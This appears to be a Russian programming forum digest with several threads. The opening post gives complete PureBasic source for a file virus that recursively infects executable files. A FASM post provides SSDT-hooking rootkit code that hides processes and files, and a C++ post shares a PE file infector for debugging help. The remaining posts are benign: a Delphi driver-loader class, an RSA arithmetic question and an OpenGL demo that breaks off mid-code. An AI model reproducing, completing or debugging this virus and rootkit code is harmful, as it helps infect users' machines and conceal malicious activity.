delfcode

Файловый вир на PureBasic

Чеботарь — Sat, 03 Sep 2016 20:09:27 GMT

Код

;***************************************************************************************************
;* Исходник файлового вируса, написанный на языке PureBasic. Для компиляции в среде PureBasic 5.30.
;* Поведение: вирус ищет и заражает исполняемые файлы, дописывая к ним свой код.
;* Внимание! Программа, скомпилированная из данного исходника, может представлять опасность!
;* Автор не несет ответственности за Ваши действия. Разрешено использование только в учебных целях.
;***************************************************************************************************

EnableExplicit

#vsize=16384
;размер тела вируса, в байтах зависит от версии компилятора.
;Должно точно соответствовать размеру скомпилированного файла.
;Чтобы уточнить, скомпилируйте и посмотрите, сколько у Вас будет весить файл.

Global *mem,progname.s,progpath.s

Procedure InfectFile(filename.s)
  ;Простой метод заражения в заголовок (вирус скидывает заражаемый файл в свой оверлей)
  Define hfile,fsize,*ptr
  hfile=OpenFile(#PB_Any,filename)
  If hfile
    fsize=Lof(hfile)
    If fsize < #vsize Or fsize > 5000000:CloseFile(hfile):ProcedureReturn:EndIf
    *ptr=AllocateMemory(fsize)
    ReadData(hfile,*ptr, fsize)
    FileSeek(hfile,0)
    TruncateFile(hfile)
    WriteData(hfile,*mem,#vsize)
    FileSeek(hfile,#vsize)
    WriteData(hfile,*ptr,fsize)
    CloseFile(hfile)
  EndIf
EndProcedure

Procedure Infect(path.s)
  Define finddata.WIN32_FIND_DATA,hFind.l
  Define.s fname, ext
  If Right(path,1) <> "\":path+"\":EndIf
  hfind=FindFirstFile_(path+"*.*",@finddata)
  If hfind <> -1
    Repeat
      fname=PeekS(@finddata\cFileName)
      If (fname <> ".") And (fname <> "..")
        fname=LCase(path+fname)
        If fname=LCase(progpath):Continue:EndIf
        If finddata\dwFileAttributes | #FILE_ATTRIBUTE_DIRECTORY <> #FILE_ATTRIBUTE_DIRECTORY
          ext=LCase(GetExtensionPart(fname))
          If (ext="exe") Or (ext="pif") Or (ext="cmd") Or (ext="bat") Or (ext="scr")
            infectFile(fname)
          EndIf
        Else
          Infect(fname)
        EndIf
      EndIf
    Until Not FindNextFile_(hfind,@finddata)
  EndIf

EndProcedure

Procedure Main()

  Define.s tmppath
  Define.l msize,hfile
  Define PI.PROCESS_INFORMATION
  Define SI.STARTUPINFO
  Define *ptr
  progname=ProgramFilename()

  progpath=GetPathPart(progname)
  If Right(progpath,1) <> "\":progpath+"\":EndIf

  tmppath=RSet(tmppath,300)
  tmppath=Left(tmppath, GetTempPath_(300,@tmppath))
  If Right(tmppath,1) <> "\":tmppath+"\":EndIf
  tmppath+Str(Random(100000))+Str(Random(100000))+Str(Random(100000))+Str(Random(100))
  *mem=AllocateMemory(1)
  hfile=ReadFile(#PB_Any,progname)
  If hfile
    msize=Lof(hfile)
    If msize < #vsize
      CloseFile(hfile)
      End
    Else
      *mem=ReAllocateMemory(*mem,#vsize)
      ReadData(hfile,*mem,#vsize)
      If msize=#vsize
        Infect(progpath)
      Else
        msize=msize-#vsize
        *ptr=AllocateMemory(msize)
        FileSeek(hfile,#vsize)
        ReadData(hfile,*ptr,msize)
        CloseFile(hfile)
        If MoveFile_(progname,tmppath)
          hfile=CreateFile(#PB_Any,progname)
          If hfile
            WriteData(hfile,*ptr,msize)
            CloseFile(hfile)
          EndIf
          FreeMemory(*ptr)
       endif
endif

endprocedure

[Delphi- C++]Учимся общаться с драйвером)))

Neo — Tue, 30 Aug 2016 14:26:27 GMT

Привет всем!Хотел бы выложить совой класс для работы с драйврами.В классе реализованны следующие методы:
Регистрация драйвера в системе
Динамическая загрузка драйвера
Динамическая выгрузка драйвера
Удаление драйвера из системы
Расчёт IOCTO кода
и три метода общения с драйвером.
Вот код модуля dDriver:

Код

unit dDriver;

interface
uses Windows;
const
      METHOD_BUFFERED          = 0;
      METHOD_NEITHER           = 3;
      FILE_ANY_ACCESS          = 0;
      FILE_READ_ACCESS         = 1;
      FILE_WRITE_ACCESS        = 2;

      FILE_DEVICE_UNKNOWN          = $00000022;
Type
      NTStatus = cardinal;
      TString = array[0..MAX_PATH] of char;
      PUnicodeString = ^TUnicodeString;
      TUnicodeString = record
         Length: WORD;
         MaximumLength: WORD;
         Buffer: PWideChar;
      end;

const
     STATUS_OBJECT_NAME_EXISTS  =   $40000000;
     OBJ_CASE_INSENSITIVE       =   $00000040;
     OBJ_OPENIF                 =   $00000080;
     DIRECTORY_TRAVERSE         =       $0002;
     DIRECTORY_CREATE_OBJECT    =       $0004;

procedure RtlInitUnicodeString(DestinationString: PUnicodeString; SourceString: PWideChar);
                      stdcall; external 'ntdll.dll';
function ZwLoadDriver(DriverServiceName: PUnicodeString): cardinal;
                      stdcall;external 'ntdll.dll';

function ZwUnloadDriver(DriverServiceName: PUnicodeString): cardinal;
                      stdcall;external 'ntdll.dll';
type
        TDriver = class
        private
          DrName: TString;
          DrPath: TString;
          hDriver: Cardinal;
          RegisteredStatus,
          LoadedStatus,
          UnRegisteredStatus,
          UnLoadStatus: boolean;
        public
          constructor Create(Name,Path: PCHAR);   //создаём объукт-драйвер.Название девайса,путь к драйверу
          function Registered: boolean;           //Регистрация драйвера в системе. True - успех
          function Load: boolean;                  //Динамическая подгрузка драйвера,True - успех
          function Start(Popitka:byte = 0):boolean;  //Если лень вызывать сначала Registered,а потом
              //Load,то можно вызвать сразу Start.Передаём колличество попыток загрузки драйвера
          function UnLoad: boolean;               //Динамическая выгрузкаиз драйвера.True - успех
          function UnRegistered: boolean;         //Снимаем регистрацию драйвера из системы
          function Stop:boolean;                  //Выгружаем драйвер и UnRegistered.
          function IOCTL_CODE(DeviceType, FunctionNo, Method, Access: Integer): Integer; //Получить IOCTL запрос
          function WriteToDriver(Var WriteBuf; SizeW: DWORD): integer;  //Читаем байты из драйвера,исполтуя WriteFile
          function ReadFromDriver(Var ReadBuf; SizeR: DWORD): integer;  //Пишем байты в драйвер,используя ReadFile
          function ReadWrite(Var ToDroverBuf;   SizeOfToDroverBuf:   DWORD; CTL_CODE: DWORD;  //Можно сразу и прочитать и записать данные.
                             Var FromDriverBuf; SizeOfFromDriverBuf: DWORD): Integer;  //Используется DeviceIOcontrol
          property MyDriverName: TString read DrName;   //Свойство название девайса
          property MyDriverPath: TString read DrPath;   //Путь к драйверу
          //property MyDriverHandle: Cardinal read hDriver;   //Получить hDriver

          property MyRegisteredStatus: boolean read RegisteredStatus;  //Статусы
          property MyLoadedStatus: boolean read LoadedStatus;
          property MyUnRegisteredStatus: boolean read UnRegisteredStatus;
          property MyUnLoadStatus: boolean read UnLoadStatus;
        end;

implementation
const
      DrvReg = '\registry\machine\system\CurrentControlSet\Services\';

function EnablePrivilegeEx(Process: dword; lpPrivilegeName: PChar):Boolean;
var
      hToken: dword;
      NameValue: Int64;
      tkp: TOKEN_PRIVILEGES;
      ReturnLength: dword;
begin
      Result:=false;
      OpenProcessToken(Process, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);
      if not LookupPrivilegeValue(nil, lpPrivilegeName, NameValue) then
      begin
        CloseHandle(hToken);
        exit;
      end;
      tkp.PrivilegeCount := 1;
      tkp.Privileges[0].Luid := NameValue;
      tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
      AdjustTokenPrivileges(hToken, false, tkp, SizeOf(TOKEN_PRIVILEGES), tkp, ReturnLength);
      if GetLastError() <> ERROR_SUCCESS then
      begin
        CloseHandle(hToken);
        exit;
      end;
      Result:=true;
      CloseHandle(hToken);
end;

{ TDriver }

constructor TDriver.Create(Name, Path: PCHAR);
begin
      inherited Create;
      lStrCpy(DrName,Name);
      lStrCpy(DrPath,Path);

      RegisteredStatus:= False;    LoadedStatus:= False;
      UnRegisteredStatus:= False;  UnLoadStatus:= False;
      hDriver:=0;
      //EnablePrivilegeEx(GetCurrentProcessId, 'SeLoadDriverPrivilege'); //SetDebugPrivileges
end;

function TDriver.Load: boolean;
var
     Image: TUnicodeString;
     Buff: array [0..MAX_PATH] of WideChar;
begin
      StringToWideChar(DrvReg + DrName, Buff, MAX_PATH);
      RtlInitUnicodeString(@Image, Buff);
      Result := ZwLoadDriver(@Image) = 0;
      LoadedStatus:= Result;
end;

function TDriver.Registered: boolean;
var
     Key, Key2: HKEY;
     dType: dword;
     Err: dword;
     NtPath: array[0..MAX_PATH] of Char;
begin
     Result := false;
     dType := 1;
     Err := RegOpenKeyA(HKEY_LOCAL_MACHINE, 'system\CurrentControlSet\Services', Key);
     if Err = ERROR_SUCCESS then
       begin
        Err := RegCreateKeyA(Key, drName, Key2);
        if Err <> ERROR_SUCCESS then Err := RegOpenKeyA(Key, drName, Key2);
        if Err = ERROR_SUCCESS then
          begin
           lstrcpy(NtPath, PChar('\??\' + drPath));
           RegSetValueExA(Key2, 'ImagePath', 0, REG_SZ, @NtPath, lstrlen(NtPath));
           RegSetValueExA(Key2, 'Type', 0, REG_DWORD, @dType, SizeOf(dword));
           RegCloseKey(Key2);
           Result := true;
          end;
        RegCloseKey(Key);
       end;
       RegisteredStatus:= Result;
end;

function TDriver.Start(Popitka:byte = 0):boolean;
Var F:Boolean;
        i:byte;
Begin
      F:=false;
      i:=0;
      repeat
        F:=(Registered and Load);
        if not F then
        begin
          UnLoad;
          UnRegistered;
        end;
        inc(i);
        if i = Popitka then
          Break;
      until F;
      Result:=F;
End;

function TDriver.UnLoad: boolean;
var
     Image: TUnicodeString;
     Buff: array [0..MAX_PATH] of WideChar;
begin
      StringToWideChar(DrvReg + DrName, Buff, MAX_PATH);
      RtlInitUnicodeString(@Image, Buff);
      Result := ZwUnloadDriver(@Image) = 0;
      UnLoadStatus:= Result;
end;

function TDriver.UnRegistered: boolean;
var
     Key: HKEY;
begin
      Result := false;
      if RegOpenKeyA(HKEY_LOCAL_MACHINE, 'system\CurrentControlSet\Services', Key) = ERROR_SUCCESS then
        begin
          RegDeleteKey(Key, PChar(drName+'\Enum'));
          RegDeleteKey(Key, PChar(drName+'\Security'));
          Result := RegDeleteKey(Key, drName) = ERROR_SUCCESS;
          RegCloseKey(Key);
        end;
      UnRegisteredStatus:= Result;
end;

function TDriver.Stop:boolean;
Begin
      Result:= UnLoad and UnRegistered;
End;

function TDriver.ReadFromDriver(var ReadBuf; SizeR: DWORD): integer;
Var H,N:Dword;
begin
      ZeroMemory(@ReadBuf,SizeR);
      Result:=Integer(LoadedStatus and RegisteredStatus);
      if Result = 0 then
        exit;
      h:= CreateFile(PCHAR('\\.\'+DrName),GENERIC_ALL,0,nil,OPEN_EXISTING,0,0);
      if h = INVALID_HANDLE_VALUE then
      begin
        Result:= -1;
        exit;
      end;
      ReadFile(h,ReadBuf,SizeR,N,0);
      Result:=N;
      CloseHandle(h);
end;

function TDriver.WriteToDriver(var WriteBuf; SizeW: DWORD): integer;
Var H,N:Dword;
begin
      Result:=Integer(LoadedStatus and RegisteredStatus);
      if Result = 0 then exit;
      h:= CreateFile(PCHAR('\\.\'+DrName),GENERIC_ALL,0,nil,OPEN_EXISTING,0,0);
      if h = INVALID_HANDLE_VALUE then
      begin
        Result:= -1;
        exit;
      end;
      WriteFile(h,WriteBuf,SizeW,N,0);
      Result:=N;
      CloseHandle(h);
end;

function TDriver.ReadWrite(Var ToDroverBuf;   SizeOfToDroverBuf:
                     DWORD; CTL_CODE: DWORD;
                     Var FromDriverBuf; SizeOfFromDriverBuf: DWORD): Integer;
var
     Bytes: dword;
begin
     Result:= -1;
     hDriver := CreateFile(pChar('\\.\'+DrName),GENERIC_ALL,0,nil,OPEN_EXISTING,0,0);
     if hDriver = INVALID_HANDLE_VALUE then exit;
     if @FromDriverBuf <> nil then ZeroMemory(@FromDriverBuf,SizeOfFromDriverBuf);
     if DeviceIoControl(hDriver,
                        CTL_CODE,
                        @ToDroverBuf,SizeOfToDroverBuf,       //Данные,посылаемые в драйвер
                        @FromDriverBuf, SizeOfFromDriverBuf,  //Данные,которые оставит драйвер
                        Bytes, nil) then
        Result:=Bytes;
      CloseHandle(hDriver);
end;

function TDriver.IOCTL_CODE(DeviceType, FunctionNo, Method, Access: Integer): Integer;
begin
      Result :=( (DeviceType shl 16) or (Access shl 14) or (FunctionNo shl 2) or Method);
end;

end.

Вот пример вызова:

Код

program DriverLoader;
{$Apptype Console}
uses
      windows,dDriver,SysUtils;
Var
      Name,Path:String;
      Driver: TDriver;
      DataToDriver,DataFromDriver:Array[0..19] of char;
      CTL:DWORD;
begin
      Name:= 'Share';
      Path:='D:\Sniffer\Share\i386\Share.sys';
      WriteLn('Name: ',Name);
      WriteLn('Path: ',Path);
      Driver:= TDriver.Create(pChar(Name),pChar(Path));

      {if Driver.Registered then
        WriteLn('Registered!')  else
        WriteLn('Not Registered!');

      if Driver.Load then
        WriteLn('Loaded!')  else
        WriteLn('Not Loaded!');}
        Driver.Start(3);
        CTL:=Driver.IOCTL_CODE(FILE_DEVICE_UNKNOWN,$803,METHOD_BUFFERED,FILE_ANY_ACCESS);
        //Поробуем передать драйверу Hellow...
        DataToDriver:='Project1.exe';
        Driver.WriteToDriver(DataToDriver,Length(DataToDriver));
        //Попробуем получить от драйвера Hellow.
        Driver.ReadFromDriver(DataFromDriver,SizeOf(DataFromDriver));
        WriteLn(DataFromDriver);
        //Попробуем и то и то
        FillChar(DataToDriver,0,SizeOf(DataToDriver));  FillChar(DataFromDriver,0,SizeOf(DataFromDriver));
        DataToDriver:='Hellow against!';
        Driver.ReadWrite(DataToDriver,SizeOf(DataToDriver),CTL,DataFromDriver,SizeOf(DataToDriver));
        WriteLn(DataFromDriver);
      {if Driver.UnLoad then
        WriteLn('UnLoad!')  else
        WriteLn('Not UnLoad!');

      if Driver.UnRegistered then
        WriteLn('UnRegistered!')  else
        WriteLn('Not UnRegistered!');}
        Driver.Stop;
     ReadLn;
end.

А вот исходник самого драйвера:

Код

#include "ntddk.h"
#define NT_DEVICE_NAME L"\\Device\\Share"
#define WIN32_DEVICE_NAME L"\\DosDevices\\SHare"
#define DWORD unsigned long
#define SECTION_SIZE 255

#define IOCTL_SHARE CTL_CODE (FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)

NTSTATUS CtlCreate(IN PDEVICE_OBJECT, IN PIRP);
NTSTATUS CtlClose(IN PDEVICE_OBJECT, IN PIRP);
NTSTATUS CtlDriverDispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
NTSTATUS CtlDriverDispatchWrite(IN PDEVICE_OBJECT,IN PIRP);   //если обращаются через WriteFile
NTSTATUS CtlDriverDispatchRead(IN PDEVICE_OBJECT,IN PIRP);    //если обращаются через ReadFile
NTSTATUS UnloadDriver(IN PDRIVER_OBJECT pDriverObject);    //если обращаются через DeviceIOControl

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath)
{
         PDEVICE_OBJECT pDeviceObject;
         UNICODE_STRING uniNtName;
         UNICODE_STRING uniWin32Name;
         RtlInitUnicodeString(&uniNtName, NT_DEVICE_NAME);
         RtlInitUnicodeString(&uniWin32Name, WIN32_DEVICE_NAME);

      IoCreateSymbolicLink(&uniWin32Name, &uniNtName);
         IoCreateDevice(pDriverObject,0,&uniNtName,FILE_DEVICE_UNKNOWN,0,FALSE,&pDeviceObject);

      pDriverObject->MajorFunction[IRP_MJ_CREATE]=CtlCreate;
         pDriverObject->MajorFunction[IRP_MJ_CLOSE]=CtlClose;
         pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]=CtlDriverDispatch;
      pDriverObject->MajorFunction[IRP_MJ_WRITE] = CtlDriverDispatchWrite;
      pDriverObject->MajorFunction[IRP_MJ_READ] = CtlDriverDispatchRead;
         pDriverObject->DriverUnload = UnloadDriver;
      DbgPrint("Driver has been loaded!");

         return STATUS_SUCCESS;
}

NTSTATUS CtlCreate(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp)
{
         Irp->IoStatus.Status=STATUS_SUCCESS;
         Irp->IoStatus.Information=0;
         IoCompleteRequest(Irp,IO_NO_INCREMENT);
         return STATUS_SUCCESS;
}

NTSTATUS CtlClose(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp)
{
         Irp->IoStatus.Status=STATUS_SUCCESS;
         Irp->IoStatus.Information=0;
         IoCompleteRequest(Irp,IO_NO_INCREMENT);
         return STATUS_SUCCESS;
}

NTSTATUS UnloadDriver(IN PDRIVER_OBJECT pDriverObject)
{
         PDEVICE_OBJECT  deviceObject = pDriverObject->DeviceObject;
         UNICODE_STRING  uniWin32NameString;
         RtlInitUnicodeString( &uniWin32NameString, WIN32_DEVICE_NAME );
         IoDeleteSymbolicLink( &uniWin32NameString );
         IoDeleteDevice( deviceObject );
      DbgPrint("Driver has been Unloaded!");
         return STATUS_SUCCESS;
}

NTSTATUS CtlDriverDispatchWrite(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp)
{
      //В Irp->UserBuffer будет то,что послал пользователь WriteFileом
      PIO_STACK_LOCATION pIrpStack;
         pIrpStack=IoGetCurrentIrpStackLocation(Irp);
      Irp->IoStatus.Information = 0;

      if (pIrpStack->MajorFunction == IRP_MJ_WRITE)
      {
       __try
       {
        ULONG Length = pIrpStack->Parameters.Write.Length;
        DbgPrint("Recv:%s \n",Irp->UserBuffer);
       }
       __except(EXCEPTION_EXECUTE_HANDLER)
       {
        DbgPrint("Error");
       }
      }

         Irp->IoStatus.Status=STATUS_SUCCESS;
         IoCompleteRequest (Irp,IO_NO_INCREMENT);
         return STATUS_SUCCESS;
}

NTSTATUS CtlDriverDispatchRead(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp)
{
      //Если записать в Irp->UserBuffer то,запишется в буфер,которий лежит в ReadFile от приложения
      PIO_STACK_LOCATION pIrpStack;
         pIrpStack=IoGetCurrentIrpStackLocation(Irp);

      DbgPrint("CtlDriverDispatchRead");

      if (pIrpStack->MajorFunction == IRP_MJ_READ)
      {
       __try
       {
        RtlCopyMemory(Irp->UserBuffer,"Hellow!FromDrover",18);
       }
       __except(EXCEPTION_EXECUTE_HANDLER)
       {
        DbgPrint("Error");
       }
      }

      Irp->IoStatus.Information = 0;
         Irp->IoStatus.Status=STATUS_SUCCESS;

         IoCompleteRequest (Irp,IO_NO_INCREMENT);
         return STATUS_SUCCESS;
}

NTSTATUS CtlDriverDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP Irp)
{
      //В данном случае рабочий буфер будет Irp->AssociatedIrp.SystemBuffer тут.
      PIO_STACK_LOCATION pIrpStack;
      PVOID pBuff = Irp->UserBuffer;       //писать в прогу
      PVOID pBuff_In = Irp->AssociatedIrp.SystemBuffer;  //буфер от проги
      DWORD *Pid = NULL;
      DWORD PID = 0;
         pIrpStack=IoGetCurrentIrpStackLocation(Irp);
      DbgPrint("CtlDriverDispatch...\n");

      DbgPrint("CTL: %d",IOCTL_SHARE);
      if (pIrpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_SHARE)// если такой IOCTL пришёл,то
      {//делаем это.
       __try
       {
        DbgPrint("We are in SEH mdoe!\n");
        Pid = pBuff_In;
        DbgPrint("RECV %s \n",pBuff_In);

        RtlCopyMemory(pBuff,"12345",5);
        DbgPrint("Sended: %s","12345");
       }
       __except(EXCEPTION_EXECUTE_HANDLER)
       {
        DbgPrint("Error");
       }
      }

      Irp->IoStatus.Information = 0;
         Irp->IoStatus.Status=STATUS_SUCCESS;

         IoCompleteRequest (Irp,IO_NO_INCREMENT);
         return STATUS_SUCCESS;
}

P.S запустите ещё DbgView,для просмотра DbgPrintoв.

[C/C++] Драйвер - сниффер

Neo — Thu, 04 Aug 2016 18:48:07 GMT

Форум: Остальные языки программирования
Описание темы: Драйвер - сниффер
Автор темы: Neo
Автор последнего сообщения: XSPY
Количество ответов: 5

[FASM] Cкрыть процесс, файл, директорию.

Marra_Kesh — Wed, 29 Jun 2016 11:33:43 GMT

Copy/ Paste

Код

format pe native
section '' readable writeable executable
    entry $
mov eax,[esp+4]
mov dword [eax+0x34],DriverUnload

mov eax,[KeServiceDescriptorTable]
mov ecx,[eax+8]
mov eax,[eax]
mov edx,[NtQuerySystemInformation]

    list1:

cmp edx,[eax+ecx*4-4]
jz listed1
loop list1

jmp exit

    listed1:
lea eax,[eax+ecx*4-4]
mov [adres1],eax

mov dword [eax],hook1

mov eax,[KeServiceDescriptorTable]
mov ecx,[eax+8]
mov eax,[eax]
mov edx,[NtQueryDirectoryFile]

    list2:

cmp edx,[eax+ecx*4-4]
jz listed2
loop list2

jmp exit

    listed2:
lea eax,[eax+ecx*4-4]
mov [adres2],eax

mov dword [eax],hook2

exit:
xor eax,eax
retn 8

    DriverUnload:
mov ecx,[NtQuerySystemInformation]
mov edx,[adres1]
mov [edx],ecx

mov ecx,[NtQueryDirectoryFile]
mov edx,[adres2]
mov [edx],ecx
retn 4

    hook1:
cmp dword [esp+4],5
jne wrong1

mov esi,[esp+8]
mov edi,[esp]
mov dword [esp],procedure1

    wrong1:
jmp [NtQuerySystemInformation]

    procedure1:
test eax,eax
jnz err1

jmp next1

    query1:
add esi,[esi]

cmp [esi+60],eax
je next1

mov edx,[esi+60]
cmp dword [edx],0x00240024
jne next1

mov edx,[esi]
test edx,edx
jz zero1
add [ebx],edx
jmp keep1
    zero1:
mov [ebx],eax
jmp keep1

    next1:
mov ebx,esi
    keep1:

cmp [esi],eax
jnz query1

err1:
jmp edi

    hook2:
cmp dword [esp+32],3
jne wrong2

mov esi,[esp+24]
mov edi,[esp]
mov dword [esp],procedure2

    wrong2:
jmp [NtQueryDirectoryFile]

    procedure2:
test eax,eax
jnz err2

jmp next2

    query2:
add esi,[esi]

cmp dword [esi+94],0x00240024
jne next2

mov edx,[esi]
test edx,edx
jz zero2
add [ebx],edx
jmp keep2
    zero2:
mov [ebx],eax
jmp keep2

    next2:
mov ebx,esi
    keep2:

cmp [esi],eax
jnz query2

err2:
jmp edi
    adres1 rd 1
    adres2 rd 1

section '' import readable
dd RVA ntoskrnl_table,0,0,RVA ntoskrnl_name,RVA ntoskrnl_table
dd 0,0,0,0,0

    ntoskrnl_table:
    KeServiceDescriptorTable dd RVA _KeServiceDescriptorTable
    NtQuerySystemInformation dd RVA _NtQuerySystemInformation
    NtQueryDirectoryFile dd RVA _NtQueryDirectoryFile
dd 0

    ntoskrnl_name db 'ntoskrnl.exe',0

    _KeServiceDescriptorTable db 0,0,'KeServiceDescriptorTable',0
    _NtQuerySystemInformation db 0,0,'NtQuerySystemInformation',0
    _NtQueryDirectoryFile db 0,0,'NtQueryDirectoryFile',0

section '' fixups discardable

.bat файл для запуска

На Win8 не сработала. Интересно поЩАму?

[ASM] Длинная арифметика

Neo — Wed, 22 Jun 2016 09:52:11 GMT

Всем привет! Вот почему-то захотелось мне реализовать алгоритм RSA на ассемблере руками. Для этого нужна реализация работы с большими числами. Несмотря на то, что пишу на асме, вытаюсь всё делать так, чтобы сложность алгоритма была не экспонента)))
Кстате тема, думаю может пригодиться, так как можно будет использовать крипту в реальном режиме)))
Вот и хочу поспрашивать, интересны вопросы реализации. Может кто уже делал это и раскажет о подводных камнях. Умножение, например, я реализовываю столбиком, методом фурье что-то не догнал. Возведение в степень думаю делать умножение само на себя, а это как-то долгова-то будет.

[C++] Файловый инфектор

Slash — Sat, 01 Aug 2015 15:12:28 GMT

Вообщем, такой код набросал:

Код

#include
#include
#include
#include
#include
#include
#include

char FileAlignment;

DWORD CureLastSection(char* pFileMap)
{
   PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pFileMap;
   PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)(pFileMap + dos->e_lfanew);
   PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNTHeaders);
   int numSections = pNTHeaders->FileHeader.NumberOfSections;
   for(int i = 0; i < numSections; i++){
    if(i == numSections-1){
      pSectionHeader->Misc.VirtualSize += 0x40000;
      pSectionHeader->SizeOfRawData += 0x40000;
      pNTHeaders->OptionalHeader.SizeOfImage += 0x40000;
      pSectionHeader->Characteristics = 0xa0000020;
      pNTHeaders->OptionalHeader.SizeOfImage = pSectionHeader->Misc.VirtualSize + pSectionHeader->VirtualAddress;
      pNTHeaders->OptionalHeader.AddressOfEntryPoint = pSectionHeader->VirtualAddress;
      MessageBoxA(0, (const char*)pSectionHeader->Name, "Sec name:", 0);
      MessageBoxA(0, "Last Section Curred!", ":)", 0);
    } else pSectionHeader++;
   }
   return 0;
}

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow){

   HANDLE hFile, hVir, hMapping;
   DWORD d, offset;
   DWORD br;
   char *mapping, *entry;
   PIMAGE_DOS_HEADER dos;
   PIMAGE_NT_HEADERS nt;
   char virBytes[16384];
   int i;

   DeleteFile( L"C:\\AAA\\1.exe");

   CopyFile(L"C:\\AAA\\1_copy.exe", L"C:\\AAA\\1.exe", false);

   hFile = CreateFile(L"C:\\AAA\\1.exe", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);

   if(hFile!=INVALID_HANDLE_VALUE)
   {
    d = GetFileSize(hFile, 0);
    hMapping = CreateFileMapping(hFile, 0, PAGE_READWRITE, 0, d, 0);
    mapping = (char*)MapViewOfFile(hMapping, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, d);
    dos = (PIMAGE_DOS_HEADER)mapping;
    nt = (PIMAGE_NT_HEADERS)(mapping + dos->e_lfanew);


    DWORD dwBytesWritten = 0;

    hVir = CreateFile(L"C:\\AAA\\inf.exe", GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
    SetFilePointer(hVir, 0, NULL, FILE_BEGIN);
    ReadFile(hVir, virBytes, 16384, &br, NULL );
    CloseHandle(hVir);

    SetFilePointer(hFile, 90112, NULL, FILE_BEGIN);
    WriteFile( hFile, virBytes, 16384, &br, NULL );

    CureLastSection(mapping);

    UnmapViewOfFile(mapping);
    CloseHandle(hMapping);
    CloseHandle(hFile);

    MessageBoxA(0, "OK", ":)", 0);

   }else MessageBoxA(0, "Cant open!", ":)!", 0);

   return 1;
}

Но не работает - почему?
Алгоритм:
1.Дописываю тело inf.exe в конец жертвы 1.exe
2.Ищу последнюю секцию
3.Расширяю ее(а правильно ли??? Если нет - подскажите в чем ошибка)
4.Меняю точку входа на начало последней секции(а так можно? может нужно на конец последней секции? а может на новую точку входа inf.exe)

[C/C++] Простейший 3D мир

Волк-1024 — Fri, 23 Jan 2015 16:46:44 GMT

С недавних пор я занялся изучением программированием 3D графики, посему выкладываю свои недописанные наброски на С.
В интернете достаточно много примеров, но они все слишком громоздкие и труднопонимаемые. Я же постарался сделать всё кратко.
Изначально всё писалось с использованием библиотеки Freeglut.dll, но чтобы не отступать от своих принципов, сделал всё на голых вызовах и WinApi)

Из недописанного по причине лени(выкинуто из кода): стрейф камеры, загрузка текстур и свет.
Если данный пример вас заинтересует, то в следующий раз я реализую недописанное, возможно на Делфи.

Управление: мышь + wasd, выход на Esc.

Код

#include
#include
#include
#include

#define VK_W  0x057
#define VK_S  0x053
#define VK_A  0x041
#define VK_D  0x044

typedef struct TVector3D
{
    GLdouble  x;
    GLdouble  y;
    GLdouble  z;
}
TVector3D;

typedef struct TCameraObject
{
    TVector3D  Pos;  // Вектор позиции камеры.
    TVector3D  View; // Вектор направления камеры.
    TVector3D  Up;   // Вертикальная ось.
}
TCameraObject;

HDC hDC;
HGLRC hRC;
HWND hMainWindow;
int AppWidth, AppHeight;

TCameraObject Camera = {{0.0, 2.5, 5.0}, {0.0, 2.5, 0.0}, {0.0, 1.0, 0.0}}; // А вот такого в Делфи нельзя

TVector3D NormalizeVector(TVector3D Vector)
{
    TVector3D Result;

    double Length = sqrt((Vector.x * Vector.x) + (Vector.y * Vector.y) + (Vector.z * Vector.z));

    Result.x = Vector.x / Length;
    Result.y = Vector.y / Length;
    Result.z = Vector.z / Length;

    return Result;
}

TVector3D CrossVectors(TVector3D Vector1, TVector3D Vector2)
{
    TVector3D Result;

    Result.x = ((Vector1.y * Vector2.z) - (Vector1.z * Vector2.y));
    Result.y = ((Vector1.z * Vector2.x) - (Vector1.x * Vector2.z));
    Result.z = ((Vector1.x * Vector2.y) - (Vector1.y * Vector2.x));

    return Result;
}

void RotateCamera(double Speed)
{
    TVector3D Vector;

    Vector.x = Camera.View.x - Camera.Pos.x;
    Vector.z = Camera.View.z - Camera.Pos.z;

    Camera.View.z = Camera.Pos.z + sin(Speed) * Vector.x + cos(Speed) * Vector.z;
    Camera.View.x = Camera.Pos.x + cos(Speed) * Vector.x - sin(Speed) * Vector.z;
}

void MoveCamera(double Speed)
{
    TVector3D Vector = {0};
    /*
      Получаем вектора(направление) взгляда
    */
    Vector.x = Camera.View.x - Camera.Pos.x;
    Vector.z = Camera.View.z - Camera.Pos.z;

    Vector = NormalizeVector(Vector);
    /*
      Полученное направление, помноженное на скорость, прибавляем к позиции камеры и к позиции взгляда.
      Тем самым передвигая камеру вперёд или, если Speed отрицательное - назад.
    */
    Camera.Pos.x  += Vector.x * Speed;
    Camera.Pos.z  += Vector.z * Speed;
    Camera.View.x += Vector.x * Speed;
    Camera.View.z += Vector.z * Speed;
}

void DrawGrid()
{
    for (float i = -50; i <= 100; i += 5)
    {
       glBegin(GL_LINES);
           glVertex3f(-50, 0, i);
           glVertex3f(100, 0, i);
           glVertex3f(i, 0,-50);
           glVertex3f(i, 0, 100);
       glEnd();
    }
}

void RenderScene(HDC hDC)
{
    glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); // Очищаем буфер цвета и буфер глубины.
    glLoadIdentity();
    /*
        Устанавливаем вектора камеры.
    */
    gluLookAt(Camera.Pos.x,  Camera.Pos.y,  Camera.Pos.z,
              Camera.View.x, Camera.View.y, Camera.View.z,
